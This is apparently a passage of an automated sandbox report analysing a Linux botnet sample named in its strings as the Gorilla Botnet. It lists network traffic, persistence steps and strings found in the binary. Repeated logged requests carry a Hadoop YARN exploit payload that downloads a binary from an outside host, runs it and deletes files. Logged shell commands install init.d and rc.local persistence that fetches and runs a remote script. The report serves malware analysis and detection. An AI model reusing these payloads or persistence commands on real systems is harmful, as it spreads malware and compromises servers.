79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 140.203.230.141:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 140.203.230.141:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 254.30.40.98:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 32.181.180.75:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 32.181.180.75:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 32.181.180.75:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}

Source: /tmp/tVdq8lEt3e.elf (PID: 6221)

Socket: 0.0.0.0:38241

Jump to behavior

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 76.204.79.118
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 76.204.79.118
Source: unknown	TCP traffic detected without corresponding DNS query: 133.194.79.118
Source: unknown	TCP traffic detected without corresponding DNS query: 133.194.79.118
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 133.194.79.118
Source: unknown	TCP traffic detected without corresponding DNS query: 133.194.79.118
Source: unknown	TCP traffic detected without corresponding DNS query: 133.194.79.118
Source: unknown	TCP traffic detected without corresponding DNS query: 94.220.79.118
Source: unknown	TCP traffic detected without corresponding DNS query: 133.194.79.118
Source: unknown	TCP traffic detected without corresponding DNS query: 94.220.79.118
Source: unknown	TCP traffic detected without corresponding DNS query: 106.99.156.126
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.220
Source: unknown	TCP traffic detected without corresponding DNS query: 106.99.156.126
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.220
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.220
Source: unknown	TCP traffic detected without corresponding DNS query: 89.237.185.118
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.220
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.220
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.220
Source: unknown	TCP traffic detected without corresponding DNS query: 89.237.185.118
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.246.113
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.246.113
Source: unknown	TCP traffic detected without corresponding DNS query: 78.220.79.118
Source: unknown	TCP traffic detected without corresponding DNS query: 78.220.79.118
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.246.113
Source: unknown	TCP traffic detected without corresponding DNS query: 78.220.79.118
Source: unknown	TCP traffic detected without corresponding DNS query: 78.220.79.118
Source: unknown	TCP traffic detected without corresponding DNS query: 222.102.85.235
Source: unknown	TCP traffic detected without corresponding DNS query: 78.220.79.118
Source: unknown	TCP traffic detected without corresponding DNS query: 78.220.79.118
Source: unknown	TCP traffic detected without corresponding DNS query: 78.220.79.118
Source: unknown	TCP traffic detected without corresponding DNS query: 222.102.85.235
Source: unknown	TCP traffic detected without corresponding DNS query: 78.220.79.118
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.246.113
Source: unknown	TCP traffic detected without corresponding DNS query: 200.141.63.82
Source: unknown	TCP traffic detected without corresponding DNS query: 78.220.79.118
Source: unknown	TCP traffic detected without corresponding DNS query: 200.141.63.82
Source: unknown	TCP traffic detected without corresponding DNS query: 78.220.79.118
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 78.220.79.118
Source: unknown	TCP traffic detected without corresponding DNS query: 93.123.85.166
Source: unknown	TCP traffic detected without corresponding DNS query: 27.174.203.118

Source: unknown

HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 133.194.79.118:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}

Source: profile.12.dr, inittab.12.dr, tVdq8lEt3e.elf.31.dr, bootcmd.12.dr, mybinary.12.dr, custom.service.12.dr	String found in binary or memory: http://pen.gorillafirewall.su/
Source: tVdq8lEt3e.elf	String found in binary or memory: http://pen.gorillafirewall.su/x86_32.nn;

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary

Contains symbols with names commonly found in malware

Source: ELF static info symbol of initial sample	Name: attack.c
Source: ELF static info symbol of initial sample	Name: attack_get_opt_int
Source: ELF static info symbol of initial sample	Name: attack_get_opt_ip
Source: ELF static info symbol of initial sample	Name: attack_gre.c
Source: ELF static info symbol of initial sample	Name: attack_gre_eth
Source: ELF static info symbol of initial sample	Name: attack_gre_ip
Source: ELF static info symbol of initial sample	Name: attack_init
Source: ELF static info symbol of initial sample	Name: attack_parse
Source: ELF static info symbol of initial sample	Name: attack_start
Source: ELF static info symbol of initial sample	Name: attack_std

Source: tVdq8lEt3e.elf

ELF static info symbol of initial sample: __gnu_unwind_execute

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: busybox
Source: Initial sample	String containing 'busybox' found: /usr/lib/systemd//usr/sbin//usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd*deamon/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencodersystem/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/487154914:1553<41<515791446<614561;814994;8153;148;14<5Attempting to bind on address %d.%d.%d.%d
Source: Initial sample	String containing 'busybox' found: wgetcurlping/pswiresharktcpdumpnetstatpythonbusyboxiptablesnanonvimvimgdbpkillkillallapt/dev/watchdog/dev/misc/watchdoggorilla botnet is on the device ur not a cat go away/var/igorillaThe Gorilla Botnet Cats Came After You!kwws=22shq1jruloodiluhzdoo1vx2oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/sbin/poweroff/usr/bin/poweroff/usr/sbin/halt/usr/bin/halt

Source: /tmp/tVdq8lEt3e.elf (PID: 6269)	SIGKILL sent: pid: 788, result: successful	Jump to behavior
Source: /tmp/tVdq8lEt3e.elf (PID: 6269)	SIGKILL sent: pid: 884, result: successful	Jump to behavior
Source: /tmp/tVdq8lEt3e.elf (PID: 6269)	SIGKILL sent: pid: 1664, result: successful	Jump to behavior
Source: /tmp/tVdq8lEt3e.elf (PID: 6269)	SIGKILL sent: pid: 2096, result: successful	Jump to behavior
Source: /tmp/tVdq8lEt3e.elf (PID: 6269)	SIGKILL sent: pid: 2102, result: successful	Jump to behavior
Source: /tmp/tVdq8lEt3e.elf (PID: 6269)	SIGKILL sent: pid: 6231, result: successful	Jump to behavior
Source: /tmp/tVdq8lEt3e.elf (PID: 6269)	SIGKILL sent: pid: 6272, result: successful	Jump to behavior

Source: classification engine

Classification label: mal100.spre.troj.evad.linELF@0/11@0/0

Persistence and Installation Behavior

Sample tries to persist itself using /etc/profile

Source: /tmp/tVdq8lEt3e.elf (PID: 6221)

File: /etc/profile

Jump to behavior

Sample tries to persist itself using System V runlevels

Source: /tmp/tVdq8lEt3e.elf (PID: 6221)	File: /etc/rc.local	Jump to behavior
Source: /usr/bin/ln (PID: 6250)	File: /etc/rcS.d/S99mybinary -> /etc/init.d/mybinary	Jump to behavior
Source: /usr/bin/ln (PID: 6264)	File: /etc/rc.d/S99tVdq8lEt3e.elf -> /etc/init.d/tVdq8lEt3e.elf	Jump to behavior

Sample tries to set files in /etc globally writable

Source: /tmp/tVdq8lEt3e.elf (PID: 6221)	File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 6247)	File: /etc/init.d/mybinary (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 6255)	File: /etc/init.d/tVdq8lEt3e.elf (bits: - usr: rx grp: rx all: rwx)	Jump to behavior

Source: /tmp/tVdq8lEt3e.elf (PID: 6225)	Shell command executed: /bin/sh -c "systemctl enable custom.service >/dev/null 2>&1"	Jump to behavior
Source: /tmp/tVdq8lEt3e.elf (PID: 6241)	Shell command executed: /bin/sh -c "chmod +x /etc/init.d/mybinary >/dev/null 2>&1"	Jump to behavior
Source: /tmp/tVdq8lEt3e.elf (PID: 6248)	Shell command executed: /bin/sh -c "ln -s /etc/init.d/mybinary /etc/rcS.d/S99mybinary >/dev/null 2>&1"	Jump to behavior
Source: /tmp/tVdq8lEt3e.elf (PID: 6251)	Shell command executed: /bin/sh -c "echo \"#!/bin/sh\n# /etc/init.d/tVdq8lEt3e.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting tVdq8lEt3e.elf'\n /tmp/tVdq8lEt3e.elf &\n wget http://pen.gorillafirewall.su/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping tVdq8lEt3e.elf'\n killall tVdq8lEt3e.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start\|stop\|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/tVdq8lEt3e.elf"	Jump to behavior
Source: /tmp/tVdq8lEt3e.elf (PID: 6253)	Shell command executed: /bin/sh -c "chmod +x /etc/init.d/tVdq8lEt3e.elf >/dev/null 2>&1"	Jump to behavior
Source: /tmp/tVdq8lEt3e.elf (PID: 6256)	Shell command executed: /bin/sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1"	Jump to behavior
Source: /tmp/tVdq8lEt3e.elf (PID: 6262)	Shell command executed: /bin/sh -c "ln -s /etc/init.d/tVdq8lEt3e.elf /etc/rc.d/S99tVdq8lEt3e.elf >/dev/null 2>&1"	Jump to behavior

Source: /bin/sh (PID: 6247)	Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/mybinary			Jump to behavior
Source: /bin/sh (PID: 6255)	Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/tVdq8lEt3e.elf			Jump to behavior

Source: /bin/sh (PID: 6261)

Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d

Jump to behavior

Source: /bin/sh (PID: 6227)

Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service

Jump to behavior

Source: /tmp/tVdq8lEt3e.elf (PID: 6221)	File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 6247)	File: /etc/init.d/mybinary (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 6255)	File: /etc/init.d/tVdq8lEt3e.elf (bits: - usr: rx grp: rx all: rwx)	Jump to behavior

Source: /tmp/tVdq8lEt3e.elf (PID: 6221)	Writes shell script file to disk with an unusual file extension: /etc/init.d/mybinary	Jump to dropped file
Source: /tmp/tVdq8lEt3e.elf (PID: 6221)	Writes shell script file to disk with an unusual file extension: /etc/rc.local	Jump to dropped file
Source: /bin/sh (PID: 6251)	Writes shell script file to disk with an unusual file extension: /etc/init.d/tVdq8lEt3e.elf	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Drops files in suspicious directories

Source: /tmp/tVdq8lEt3e.elf (PID: 6221)	File: /etc/init.d/mybinary			Jump to dropped file
Source: /bin/sh (PID: 6251)	File: /etc/init.d/tVdq8lEt3e.elf			Jump to dropped file

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 48330 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 48330 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 37102 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 37102 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 37102 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 37102 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 37102 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 45478 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 38258 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 37102 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 45162 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 39082 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 52626 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 46346 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 46346 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 50640 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 48256 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 58376 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 38034 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 56610 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 42658 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 37442 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 52634 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 58836 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 41508 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 41508 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 41508 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 41508 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 46942 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 46942 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 46942 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 35222 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 35222 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 35222 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 33516 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 33516 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 33516 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 52914 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 52914 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 52914 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 52914 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 55228 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 55228 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 52914 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 54040 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 52146 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 52146 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 52146 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 43392 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 43392 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 43392 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 51444 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 51444 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 51444 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 51444 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 51444 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 41746 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 41746 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 41746 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 41746 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 51444 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 41746 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 41746 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 35558 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 35558 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 51444 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 41746 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 54394 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 38942 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 38942 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 38942 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 38942 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 38942 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 42478 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 42478 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 42478 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 51444 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 42478 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 42478 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 41746 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 42478 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 42478 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 53396 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 53396 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 53396 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 53396 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 50658 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 41746 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 60474 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 60474 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 60474 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 60474 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 57430 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 57430 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 57430 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 57430 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 57430 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 56838 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 56838 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 40538 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 47320 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 58336 -> 8088
